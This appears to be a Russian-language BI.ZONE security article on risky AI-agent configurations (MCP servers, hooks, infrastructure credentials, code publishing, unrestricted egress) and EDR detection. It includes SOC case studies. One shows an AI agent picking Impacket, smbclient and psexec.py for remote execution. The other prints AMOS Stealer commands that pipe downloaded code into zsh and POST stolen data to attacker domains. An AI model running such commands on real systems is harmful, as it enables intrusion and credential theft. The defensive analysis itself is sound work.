MCP расширяет набор инструментов агента и одновременно его границу доверия. Локальный сервер обычно запускается как дочерний процесс и наследует права пользователя, а удаленный работает за пределами конечной точки с полномочиями переданных ему учетных данных. Поэтому при проверке MCP‑серверов важны три вопроса:
- Откуда получен сервер?
- Какие возможности ему предоставлены?
- Как защищено соединение?
Опасная конфигурация возникает, когда пользователь может подключать произвольные MCP‑серверы без централизованного белого листа и проверки идентичности. К характерным признакам опасности относятся:
- запуск
npx,uvxили контейнерного образа без закрепленной версии или хеш‑суммы (digest); - загрузка пакета при первом старте;
- доступ к шеллу или всему домашнему каталогу;
- широкие облачные полномочия;
- автоматическое одобрение инструментов, изменяющих систему или данные.
Для удаленных серверов дополнительный риск создают статические токены, незашифрованное соединение вне loopback‑интерфейса и отсутствие аутентификации. Отдельно необходимо исключать token passthrough — передачу агентом токена, выпущенного для другого сервиса, непосредственно MCP‑серверу. Спецификация требует проверять назначение токена и запрещает передавать полученный от клиента токен дальше.
MCP‑сервер передает агенту названия, описания и схемы инструментов, поэтому эти метаданные следует рассматривать как недоверенный ввод. Вредоносный или скомпрометированный сервер может подменить их, чтобы повлиять на поведение агента либо скрыть назначение и побочные эффекты инструмента. Масштаб возможного ущерба зависит от доступных инструменту ресурсов и полномочий, а также от того, требуется ли подтверждение пользователя для его вызова.
~/.claude.json, проектном файле .mcp.json, конфигурациях плагинов и файле managed‑mcp.json. Параметр enableAllProjectMcpServers может убрать индивидуальное одобрение проектных серверов, а корпоративные списки allowedMcpServers и deniedMcpServers позволяют ограничить их по команде запуска или URL.
[mcp_servers.<id>] файлов config.toml. Набор доступных инструментов и порядок их подтверждения задают параметры enabled_tools, disabled_tools, default_tools_approval_mode, а также правила подтверждения для отдельных инструментов. Управляемая политика может дополнительно проверять совпадение имени и идентичности сервера.
Разбор MCP‑конфигураций дает EDR статический профиль интеграции:
- тип транспорта,
- команду и аргументы запуска,
- рабочую директорию,
- URL,
- наличие аутентификации,
- ограничения инструментов,
- режим подтверждения.
Для локального сервера дополнительно фиксируются путь к бинарному файлу, версия, хеш, цифровая подпись и владелец. Значения токенов и заголовков собирать не следует — достаточно отметить способ их передачи.
Локальный stdio‑сервер будет виден в дереве процессов агента как node, python, npx, uvx, контейнер или отдельный бинарный файл. EDR фиксирует загрузку пакета, дочерние процессы, обращения к чувствительным файлам и сетевые соединения. Отдельный локальный HTTP‑сервис связывается с агентом по адресу из конфигурации, пользователю, порту и времени обращения.
Для удаленного MCP endpoint‑телеметрия показывает адрес назначения и инициирующий процесс, но не действия на стороне сервера и не полученные агентом описания инструментов. Поэтому EDR отвечает на вопросы «что подключено?» и «какие последствия видны на хосте?», а чтобы контролировать отдельные вызовы, необходимы журналы агента, MCP‑сервера или шлюза. Такая видимость подключений позволяет, в частности, убедиться, что все агенты работают через единый корпоративный MCP‑шлюз, где централизованно заданы разрешения и запреты.
Расширения агента загружаются и выполняются без контроля
ИИ‑агенты расширяются через хуки, навыки, плагины и дочерние агенты (subagents):
- Хук автоматически запускает обработчик при заданном событии.
- Навык добавляет инструкции и может включать скрипты.
- Плагин поставляет сразу несколько компонентов.
- Дочерний агент получает отдельный набор инструментов.
Наиболее опасны хуки: команда из конфигурации пользователя, проекта или плагина может выполняться при запуске сессии или вызове инструмента без отдельного решения модели.
Опасной конфигурацией следует считать загрузку таких компонентов без контроля происхождения и полномочий. К характерным признакам угрозы относятся:
- произвольные каталоги плагинов,
- локальная установка в обход каталога,
- Git‑источники без закрепленного commit SHA,
- нефиксированные версии пакетов,
- хуки в доступных на запись каталогах,
- дочерние агенты без ограничений инструментов.
Обновление расширения также следует рассматривать как изменение исполняемого кода, требующее повторной проверки.
allowManagedHooksOnly, strictKnownMarketplaces, disableSideloadFlags и strictPluginOnlyCustomization. Параметр disableSkillShellExecution отдельно запрещает встроенные шелл‑команды в неуправляемых навыках.
~/.codex/hooks.json, пользовательском файле config.toml и проектных файлах .codex. Перед первым запуском неуправляемого командного хука требуется подтверждение, и в дальнейшем система доверяет ему, пока не изменится хеш определения. После изменения хук должен быть одобрен заново. Признаками ослабления контроля становятся флаг --dangerously‑bypass‑hook‑trust и отсутствие корпоративной политики allow_managed_hooks_only. Навыки также могут загружаться из пользовательских и проектных каталогов .agents/skills.
EDR выявляет такие конфигурации по артефактам расширений и истории их изменения. Для каждого объекта полезно фиксировать следующие данные:
- источник,
- версию или хеш,
- владельца,
- ACL и создавший его процесс.
В хук‑конфигурации важны событие запуска, команда и путь к обработчику, в манифесте плагина — поставляемые компоненты, в конфигурации дочернего агента — доступные инструменты. Особого внимания требуют изменения этих объектов неизвестным установщиком, процессом из временного каталога или уже работающим хуком.
На уровне поведения EDR может восстановить цепочку:
Агент → хук или plugin runner → shell/Python/Node.js → действие на хосте
Агент имеет прямой доступ к инфраструктурным контурам
Docker, kubectl, SSH, Terraform и облачные CLI — привычные инструменты разработки и администрирования. Однако если ИИ‑агент может запускать их с использованием активных сессий и действующих учетных данных, они становятся прямым каналом управления инфраструктурой. Опасная конфигурация возникает, когда этот канал ведет к критичным контурам и не требует независимого подтверждения операций. Локальная песочница не всегда предотвращает такое воздействие: разрешенные агенту выполнение команд и сетевой доступ могут позволить ему изменять удаленные ресурсы.
При использовании Docker в стандартном режиме rootful доступ к сокету /var/run/docker.sock или членство пользователя в группе docker фактически предоставляют возможность получить полномочия уровня root на хосте Docker. Запуск агента в контейнере не устраняет риск, если в контейнер проброшены сокет Docker, каталоги с учетными данными или широкие bind mounts. Поэтому необходимо учитывать тип демона, смонтированные ресурсы, назначенные контейнеру capabilities и использование режима privileged.
В Kubernetes зона воздействия определяется всеми доступными агенту kubeconfig‑файлами и содержащимися в них контекстами, а не только контекстом, выбранным в текущей сессии. Агент может переключиться на другой кластер или запустить указанный в конфигурации credential‑плагин. Аналогично он способен использовать SSH Agent, активную SSO‑сессию и уже аутентифицированные ssh, aws, az, gcloud или Terraform‑провайдеры, не извлекая сами секреты.
Мисконфигурацией следует считать наличие прямого пути от процесса агента к критичным инфраструктурным контурам без разделения профилей и независимого подтверждения операций. Более безопасный подход предполагает запуск агента в отдельной среде с учетными данными, предназначенными только для разработки. Доступ к продакшен‑среде должен предоставляться через отдельную краткоживущую идентичность и требовать дополнительного подтверждения.
На уровне рабочей станции EDR помогает восстановить цепочку действий ИИ‑агента по дереву процессов. Решение позволяет установить, что docker, kubectl, ssh, terraform или облачный CLI были запущены ИИ‑агентом непосредственно либо через дочерний шелл, скрипт, хук или MCP‑сервер. Например, цепочка «ИИ‑агент → shell → docker» показывает, что команда Docker была инициирована в рамках сессии агента.
Дополнительный контекст для анализа могут дать:
- ACL сокета Docker и группы пользователя;
- переменная
DOCKER_HOST; - bind mounts и параметры контейнеров;
- файлы
KUBECONFIGи адреса кластеров; - обращения к SSH Agent;
- локальные конфигурации облачных CLI.
Дерево процессов и командные строки следует сопоставлять с подключениями к сокету Docker, Kubernetes API и облачным эндпоинтам. При этом стоит учитывать, что аналогичные действия могут выполняться через SDK, скрипты или MCP‑инструменты без запуска отдельного CLI‑процесса.
Таким образом, EDR‑решение помогает связать локальные действия с процессом ИИ‑агента и использовать эту информацию при расследовании. Журналы аудита Kubernetes, SSH и облачных платформ, а также данные IAM дополняют эту картину сведениями о полномочиях использованной учетной записи и результате выполненной операции.
Агенту разрешена самостоятельная доставка кода и пакетов
Изменение локальной копии репозитория — штатная функция ИИ‑агента, предназначенного для разработки. Опасная конфигурация возникает, когда тот же агент может без независимой проверки отправить изменения в удаленный репозиторий, выполнить merge, изменить пайплайн CI/CD, создать релиз или опубликовать пакет. В таком случае последствия могут затронуть не только рабочую станцию разработчика, но и других участников команды, сборочную инфраструктуру и пользователей продукта.
Особенно чувствительны к несанкционированным изменениям файлы .github/workflows, .gitlab‑ci.yml, Jenkinsfile, CODEOWNERS, а также build‑ и release‑скрипты. После отправки в репозиторий такие изменения могут привести к выполнению кода на CI‑runner с доступом к дополнительным полномочиям и секретам. Аналогичного контроля требуют манифесты пакетов, lock‑файлы и install‑скрипты, изменение которых способно повлиять на состав зависимостей и процесс сборки.
Мисконфигурацией следует считать сочетание нескольких условий: агент располагает средствами аутентификации, обладает правами на доставку изменений и может воспользоваться ими без независимого барьера. Например, ему доступны токены с избыточными полномочиями, несколько репозиториев, обход защиты веток, самостоятельное слияние изменений, создание релизов или публикация пакетов.
Безопаснее разделять подготовку и доставку изменений. Агент должен работать под отдельной идентичностью в собственной ветке и создавать pull request, тогда как merge и релиз требуют независимого ревью и обязательного прохождения проверок. Если отдельные операции автоматизируются, для них следует применять токены с минимальными правами, ограниченные GitHub Apps и краткоживущую OIDC‑аутентификацию вместо постоянных токенов с правами на публикацию.
При оценке конфигурации необходимо установить, может ли агент не только изменять локальные файлы, но и самостоятельно аутентифицироваться во внешних системах и доставлять изменения. На наличие такого пути могут указывать:
- настройки удаленных репозиториев Git;
- credential helpers и доступ к SSH‑агенту;
- конфигурации
ghиglab; - учетные данные реестров пакетов и контейнеров;
- доступ агента к GitHub, GitLab, CI/CD‑платформам и package registries через MCP‑серверы или другие интеграции.
Сами по себе эти артефакты не подтверждают наличие мисконфигурации. Определяющее значение имеют область действия учетных данных, доступные агенту операции и обязательность независимого подтверждения.
На переход от подготовки изменения к его доставке указывают такие действия, как git push, отправка тегов, gh pr merge, glab mr merge, npm publish, twine upload, poetry publish и docker push. Обычный git commit остается локальной операцией и сам по себе не создает такого риска. Повышенного внимания требует именно возможность агента самостоятельно передать изменения за пределы рабочей станции или запустить последующие этапы сборки и публикации.
Для подтверждения мисконфигурации необходимо проверить:
- область действия токенов и приложений;
- перечень доступных репозиториев;
- защиту веток;
- обязательность ревью и проверок;
- права на изменение CI/CD, слияние изменений, создание релизов и публикацию пакетов.
Основными источниками этих данных служат настройки и журналы аудита GitHub или GitLab, CI/CD‑платформ и реестров пакетов. Локальная телеметрия рабочей станции может дополнять эту картину, если необходимые события собираются.
Не ограничены исходящие соединения и локальные интерфейсы управления
ИИ‑агенту необходим доступ к API модели, но это не означает, что такой же сетевой доступ нужен всем его дочерним процессам. Соединение основного клиента с api.anthropic.com (Claude Code) или api.openai.com (Codex) следует отделять от исходящего доступа (egress), доступного шелл‑командам, скриптам, плагинам и MCP‑серверам.
При неограниченном сетевом выходе вредоносная инструкция получает канал для загрузки кода, обращения к управляющему серверу и передачи данных. Для этого агент может использовать curl, wget, PowerShell, Python, Node.js или собственный сетевой инструмент. Даже разрешенный домен способен стать каналом эксфильтрации, если через него можно загружать файлы или создавать пользовательский контент.
Отдельный риск создают удаленные MCP‑серверы и процесс OAuth discovery. Непроверенный сервер может направить клиента к внутреннему сервису, loopback‑интерфейсу или конечной точке облачных метаданных. Официальные рекомендации MCP рассматривают это как сценарий SSRF и требуют ограничивать доступ к локальным и частным адресам.
Мисконфигурацией следует считать:
- доступ дочерних процессов к произвольным доменам;
- глобальные wildcard‑правила;
- отсутствие обязательного прокси;
- доступ к внутренним сетям и конечным точкам метаданных;
- команды, выведенные из‑под сетевых ограничений песочницы.
Разрешения должны задаваться по принципу белого списка и отдельно для основного клиента, исполняемых команд и подключенных инструментов.
allowedDomains, deniedDomains и allowManagedDomainsOnly. Без централизованной блокировки пользователь может одобрить новый домен на время сессии. Также необходимо проверять исключенные команды (excludedCommands), небезопасные команды (allowUnsandboxedCommands), правила WebFetch и доступ к Unix‑сокетам. Встроенный прокси ограничивает соединения по имени хоста, но по умолчанию не анализирует содержимое TLS‑трафика.
sandbox_workspace_write.network_access определяет, могут ли команды обращаться к сети. Если доступ включен без network_proxy, дочерние процессы получают прямой неограниченный исходящий доступ. При включенном прокси назначения можно ограничивать доменными правилами, белым списком Unix‑сокетов и запретом локальных или частных адресов. Режим danger‑full‑access снимает ограничения песочницы, хотя внешний межсетевой экран и корпоративный прокси продолжат действовать.
К этой же категории опасных настроек относятся локальные интерфейсы агентов, MCP‑серверов и шлюзов. Сервис, предназначенный для одного локального клиента, не должен без необходимости слушать адрес 0.0.0.0 или интерфейс корпоративной сети. Для HTTP‑ и WebSocket‑подключений необходимы аутентификация и ограничение круга клиентов. Иначе инструменты агента могут вызываться в обход предусмотренного канала.
BI.ZONE EDR способен извлекать из конфигураций режим сетевого доступа, доменные правила, настройки прокси, URL удаленного MCP, разрешенные Unix‑сокеты и параметры слушателей (listeners) — все эти данные попадают в телеметрию и отображаются в консоли решения. На уровне runtime следует собирать DNS‑запросы, адреса и порты, процесс‑инициатор, дерево процессов и открытые слушающие сокеты. Соединение основного агента с LLM‑провайдером и обращение запущенного им Python‑скрипта к новому домену будут иметь разный контекст.
При этом отсутствие подозрительных соединений еще не доказывает, что исходящий доступ ограничен. EDR показывает только фактическую активность, а разрешенные направления необходимо подтверждать реально действующей конфигурацией песочницы, межсетевого экрана, прокси и сетевых средств защиты.
Мисконфигурации в действии: кейсы SOC
Опасная конфигурация — потенциальная возможность. Заметная активность появляется, когда агент начинает этой возможностью пользоваться: запускает команды, устанавливает инструменты, обращается к учетным данным или подключается к другим системам. Тогда абстрактный риск превращается в цепочку процессов, файловых операций и сетевых соединений, доступную для анализа SOC.
При этом EDR фиксирует технические действия, но не определяет их замысел. Одна и та же последовательность может быть частью как атаки, так и согласованной административной задачи. Также присутствие ИИ‑агента на зараженном устройстве еще не означает, что именно он запустил вредоносный код.
Поэтому при расследовании необходимо ответить на три вопроса:
- Что произошло?
- Кем или чем было инициировано действие?
- Было ли оно согласовано?
EDR помогает ответить на первые два, анализируя командные строки, дерево процессов, пользователя, файловую и сетевую активность. Для полной картины могут потребоваться телеметрия промежуточных хостов, журналы сессий и вызовов инструментов агента, а также подтверждение владельца процесса.
Ниже опишем два кейса, которые показывают, почему одного лишь корректного детектирования недостаточно для окончательного вывода об инциденте. Судить о том, что произошло на самом деле и кто был источником действий, можно только по полной и непрерывной цепочке событий.
Кейс 1. Kimi Desktop и Impacket: когда легитимное администрирование выглядит как горизонтальное перемещение при атаке
В рамках мониторинга BI.ZONE SOC сработало правило, выявляющее удаленное исполнение кода с использованием Impacket. Почти одновременно на целевой Windows‑системе была создана новая служба — характерный артефакт PsExec‑подобной техники через SMB. Вместе эти события выглядели как успешное проникновение злоумышленника и его перемещение внутри инфраструктуры.
Телеметрия указывала на промежуточный Linux‑хост, где не был установлен EDR‑агент. На целевой системе были видны последствия удаленного исполнения, но не инициировавший их процесс. После установки EDR‑агента и корреляции событий аналитики восстановили цепочку:
Kimi Desktop → SSH → Linux‑хост → SMB и Impacket → Windows‑система → установка MSI‑пакета
Злоумышленника в этой истории не оказалось. Системный администратор использовал Kimi Desktop для развертывания ПО. На его рабочей станции агент запускал встроенные в приложение bash.exe и ssh.exe, подключался к Linux‑хосту по приватному SSH‑ключу и выполнял команды через sudo.
Сначала агент попытался использовать PsExec, загрузив архив PSTools на Linux‑хост. Когда этот способ не сработал, агент установил Impacket:
apt install -y python3-impacket || pip3 install impacket
Затем через smbclient агент скопировал установочный пакет в административную шару целевой системы:
smbclient //<target>/c$ -U admin \ -c "cd temp; put /tmp/service.msi service.msi"
Для удаленного запуска установки был использован psexec.py:
psexec.py admin:<redacted>@<target> \ "msiexec /i C:\temp\service.msi /qn /norestart"
Этот шаг привел к созданию службы и срабатыванию правила детектирования в BI.ZONE SOC. С технической точки зрения детект был корректным: в инфраструктуре действительно происходили удаленная аутентификация, копирование файла через административную шару и исполнение процесса с помощью техники, регулярно используемой при горизонтальном перемещении.
Заказчик подтвердил, что инженер выполнял согласованную задачу по развертыванию инфраструктуры, чтобы удаленно восстанавливать рабочие станции. Установочный пакет был легитимным, а признаки внешней компрометации отсутствовали. Иными словами, легитимная задача выполнялась способом, практически неотличимым от атаки.
Главная особенность кейса — выбор техники. Администратор сформулировал конечную цель, а как ее достичь, выбрал агент. После неудачи с PsExec тот перешел к Impacket, перенес пакет по SMB и добился удаленного исполнения. Пользователю уже не обязательно заранее выбирать атакоподобную технику: достаточно поставить задачу и предоставить необходимые полномочия.
Агенту были доступны приватный SSH‑ключ, промежуточный сервер, sudo, установка пакетов, учетные данные администратора Windows и административная шара C$. Пароли при этом передавались через командные строки и шелл‑конструкции, поэтому могли попасть в телеметрию EDR, историю команд, журналы процессов или контекст агента.
EDR зафиксировал удаленное исполнение, создание службы и запуск msiexec в целевой системе, а на рабочей станции администратора связал команды с компонентами Kimi Desktop. Разрыв в цепочке событий возник из‑за отсутствия EDR‑агента на промежуточном Linux‑хосте — это был пробел в покрытии, а не ошибка в логике обнаружения.
BI.ZONE SOC корректно обнаружил атакоподобную активность, а в ходе расследования изменилась только ее атрибуция. Вывод для CISO остается прежним: легитимный ИИ‑агент с достаточными полномочиями способен самостоятельно построить и выполнить цепочку удаленного администрирования — от установки нового инструмента до исполнения кода на другом хосте.
Отдельный риск связан с нормализацией такого поведения агента. Для решения легитимных задач он может регулярно использовать инструменты и техники двойного назначения: PsExec, Impacket, SMB, создание служб и удаленный запуск процессов. Если связь активности с ИИ‑агентом начнет восприниматься как достаточное основание считать ее безопасной, приоритет подобных срабатываний снизится, будут созданы слишком широких исключения. При компрометации агента, его сессии или хоста это приведет к пропуску реального инцидента. Поэтому происхождение команды от ИИ‑агента само по себе не подтверждает ее легитимность.
Кейс 2. AMOS Stealer на macOS: присутствие ИИ‑агента не означает его причастность
BI.ZONE SOC обнаружил на macOS‑хосте создание копии пользовательского Keychain в скрытом временном каталоге:
/tmp/.ckr_35902/login.keychain-db
Keychain хранит пароли, ключи и другие учетные данные, поэтому его копирование в нестандартную директорию стало основанием для расследования. Ретроспективный анализ позволил восстановить события, произошедшие на хосте 6 дней назад. Под учетной записью пользователя была выполнена команда, содержащая обфусцированный URL:
curl <encoded_url> | zsh
После декодирования выяснилось, что она загружала код с arkypc[.]com. По данным BI.ZONE Threat Intelligence, это вредоносный домен. Последовательность событий соответствовала сценарию ClickFix, при котором пользователя методами социальной инженерии убеждают выполнить команду в терминале. Вскоре на хост был загружен следующий компонент:
curl -o /tmp/helper hxxps://arkypc[.]com/jetbrains/update
Несмотря на путь, имитирующий обновление JetBrains, файл содержал обфусцированный AppleScript. Этот скрипт проверял среду исполнения, собирал сведения о системе и перебирал каталоги браузерных расширений. Внутри скрипта находился список идентификаторов расширений, связанных в том числе с криптовалютными кошельками. Последующий анализ показал, что вредоносное ПО копировало Keychain, данные браузеров и SSH‑ключи, а также извлекало данные из криптовалютных кошельков, Telegram, VPN‑клиентов и Apple Notes. Такой набор целей, использование AppleScript, подготовка данных в /tmp и маскировка компонентов под системные процессы соответствуют известному профилю Atomic macOS (AMOS) Stealer. Учитывая совокупность признаков, активность классифицировали как AMOS Stealer. Для маскировки его компоненты размещались в скрытом каталоге, название которого напоминало системную директорию macOS:
~/Library/Application Support/.com.apple.accountsd/ ├── AccountsHelper └── .service
Собранные данные упаковывались в ZIP‑архив и отправлялись на внешний сервер:
/tmp/.ck_35902.zip
↓
POST hxxps://atcoconst[.]com/api/cookies
Дополнительно вредоносный процесс обращался к адресу 45[.]94[.]47[.]204, предположительно для получения новых заданий. Примерно через полчаса после старта вредоносной активности в телеметрии появилась команда установки Claude Code с официального ресурса:
curl -fsSL https://claude.ai/install.sh | bash
Однако в восстановленной процессной цепочке Claude Code не являлся родительским процессом первоначальной команды, а других событий, связывающих агент с загрузкой AMOS Stealer, обнаружено не было. Поэтому оснований описывать инцидент как цепочку «ИИ‑агент → AMOS Stealer» нет.
EDR позволил восстановить последовательность zsh → curl → osascript, загрузку файлов в /tmp, запуск замаскированного AccountsHelper, копирование Keychain, создание архива и соединения с инфраструктурой эксфильтрации. Если бы ту же команду выполнил ИИ‑агент, последствия на конечном устройстве выглядели бы практически так же. Чтобы установить источник, потребовались бы также журналы агента: какая сессия инициировала действие, какой инструмент был вызван и требовалось ли подтверждение пользователя.
Этот кейс показывает, почему расследование должно опираться на хронологию и дерево процессов. Присутствие ИИ‑агента и вредоносной активности на одном устройстве само по себе не доказывает, что он являлся ее причиной.
Также стоит учитывать и фактор растущей популярности ИИ‑агентов, который эксплуатируют злоумышленники. Они создают фишинговые сайты, имитирующие официальные страницы популярных инструментов, и распространяют через них вредоносные установщики. В результате пользователь, рассчитывая установить легитимный ИИ‑агент, самостоятельно загружает и запускает стилер.
Риск использования ИИ‑агента мало зависит от модели. Гораздо важнее, как он запущен, какими правами обладает, к каким учетным данным и инструментам имеет доступ и в каких технических границах действует. Поэтому главная задача — управлять не только списком разрешенных решений, но и их конфигурацией и поведением.
В этой статье ИИ‑агент рассматривался как компонент инфраструктуры — процесс или группа процессов на хосте, учетная запись, доступ к файлам, секретам, сети и внешним системам. Именно этот, инфраструктурный, уровень могут наблюдать EDR и SOC: на нем решение модели превращается в команду, файловую операцию, сетевое соединение или действие на другом ресурсе.
Практические сведения для обнаружения ИИ‑агентов собраны в BI.ZONE Threat Intelligence. Для каждого агента приведены описание и признаки: названия продуктов (помогают искать в данных инвентаризации ПО), имена процессов и исполняемых файлов, а также доменные имена из DNS‑запросов. Инвентаризация ПО показывает, какие агенты установлены, а события запуска процессов и DNS‑запросов позволяют отслеживать их активность практически в реальном времени с помощью EDR‑ и SIEM‑решений.
При выстраивании контроля ИИ‑агентов организация может двигаться двумя путями. Первый — начать с фактической картины: провести инвентаризацию уже используемых агентов, понять, где и как они работают, какими возможностями обладают, а затем на основе полученных данных определить целевое состояние и требования, которым оно должно соответствовать. Второй — сначала сформировать целевую модель использования ИИ‑агентов, а затем ограничивать или запрещать функции и конфигурации, которые в нее не укладываются.
По нашему мнению, на практике эффективнее первый путь. ИИ‑агенты уже появляются в инфраструктуре независимо от того, успела ли организация определить для них правила. Поэтому сначала важно получить текущую картину использования агентов и научиться контролируемо работать с тем, что уже существует. После этого можно определить допустимые полномочия, конфигурации и постепенно привести инфраструктуру к целевому состоянию.
Этот подход поддерживается возможностями BI.ZONE EDR. Решение позволяет:
- Проводить инвентаризацию установленных ИИ‑агентов и определять, какие из них используются.
- Выявлять ключевые параметры конфигурации и оценивать возможности, предоставленные агентам.
- Контролировать появление новых ИИ‑агентов и изменения их конфигураций в инфраструктуре.
На основании полученной картины организация может сформировать требования к использованию ИИ‑агентов: определить допустимые полномочия, требования к работе в песочнице и подтверждению действий, а также правила доступа к секретам, расширениям и внешним системам.
Такие меры не устраняют все риски, но сокращают значительную их часть еще до анализа содержимого промптов. В конечном счете практический выбор сводится не к дилемме «полный запрет или бесконтрольное разрешение», а к тому, останутся ли ИИ‑агенты в слепой зоне или перейдут под управление организации.
Для практического применения этого подхода подготовили файл с артефактами локальных ИИ‑агентов и примерами запросов для их обнаружения в инфраструктуре.